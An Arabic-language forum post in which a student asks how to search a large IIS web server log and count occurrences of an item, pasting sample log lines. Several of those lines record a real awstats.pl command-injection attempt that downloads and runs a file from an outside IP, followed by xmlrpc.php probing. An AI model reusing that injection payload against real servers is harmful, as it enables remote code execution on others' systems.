بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
بداية أتشرف بإنضمامي إلى هذا المنتدى المميز عن باقي كل المنتديات لإهتمامه بالبرمجة وجديدها
وأرجو منكم مساعدتي وسأكون لكم من الشاكرين
ومساعدتكم لي فقط بإعطائي فكرة برمجية
وهي كالتالي :-
أريد قراءة file ومن ثم البحث عن عنصر معين وعرض كم مره تكرر هذا العنصر
مع العلم أنه الفايل حجمه كبير لانه عباره عن ملف Logfile لموقع
مع العلم كذلك أن شكل الفايل كجدول وسأضع مثال عليه
ولقد نفذت كود بأن يحول الفايل الى مصفوفة ذات بعدين وبعد ذلك يبحث عما يطلبه المستخدم
ولكن هذه الطريقه تعلق مع كبر الملف وكثرة المعلومات التي بداخله
كما أن المصفوفه كما تعلمون تحجز مساحة كبيره بالذاكره (( وهذا يعتبر نقطة ضعف ))
أتمنى منكم مساعدة أختكم
شكل الفايل
#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 2006-01-01 06:34:07
#Fields: date time c-ip cs-username s-ip s-port cs-method cs-uri-stem cs-uri-query sc-status cs(User-Agent)
2006-01-01 06:34:07 200.66.98.241 - 217.52.88.15 80 GET /sumthin - 404 -
2006-01-01 13:14:05 211.227.214.65 - 217.52.88.15 80 HEAD /Default.asp - 302 -
2006-01-01 20:00:49 212.208.64.208 - 217.52.88.15 80 GET /awstats/awstats.pl configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2065%2e218%2e1%2e216%2fnikons%3bchmod%20%2bx%20nikons%3b%2e%2fnikons;echo%20YYY;echo| 404 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)
2006-01-01 20:00:50 212.208.64.208 - 217.52.88.15 80 GET /cgi-bin/awstats.pl configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2065%2e218%2e1%2e216%2fnikons%3bchmod%20%2bx%20nikons%3b%2e%2fnikons;echo%20YYY;echo| 404 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)
2006-01-01 20:00:52 212.208.64.208 - 217.52.88.15 80 GET /cgi-bin/awstats/awstats.pl configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2065%2e218%2e1%2e216%2fnikons%3bchmod%20%2bx%20nikons%3b%2e%2fnikons;echo%20YYY;echo| 404 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)
2006-01-01 20:00:54 212.208.64.208 - 217.52.88.15 80 POST /xmlrpc.php - 400 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)
2006-01-01 20:00:55 212.208.64.208 - 217.52.88.15 80 POST /blog/xmlrpc.php - 400 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)
2006-01-01 20:00:56 212.208.64.208 - 217.52.88.15 80 POST /blog/xmlsrv/xmlrpc.php - 400 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)
2006-01-01 20:00:58 212.208.64.208 - 217.52.88.15 80 POST /blogs/xmlsrv/xmlrpc.php - 400 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)
2006-01-01 20:00:59 212.208.64.208 - 217.52.88.15 80 POST /drupal/xmlrpc.php - 400 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)
2006-01-01 20:01:00 212.208.64.208 - 217.52.88.15 80 POST /phpgroupware/xmlrpc.php - 400 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)
2006-01-01 20:01:01 212.208.64.208 - 217.52.88.15 80 POST /wordpress/xmlrpc.php - 400 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)
2006-01-01 20:01:03 212.208.64.208 - 217.52.88.15 80 POST /xmlrpc.php - 400 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)
2006-01-01 20:01:04 212.208.64.208 - 217.52.88.15 80 POST /xmlrpc/xmlrpc.php - 400 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)
2006-01-01 20:01:05 212.208.64.208 - 217.52.88.15 80 POST /xmlsrv/xmlrpc.php - 400 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)
طبعا هذا جزء بسيط منه
(( ملاحظه :- شكل الفايل كأنه جدول ))
لاتهمولي موضوعي فأنا طالبة تخرج وهذا مشروعي
:wub:
والشكر موصول لكم دائماَ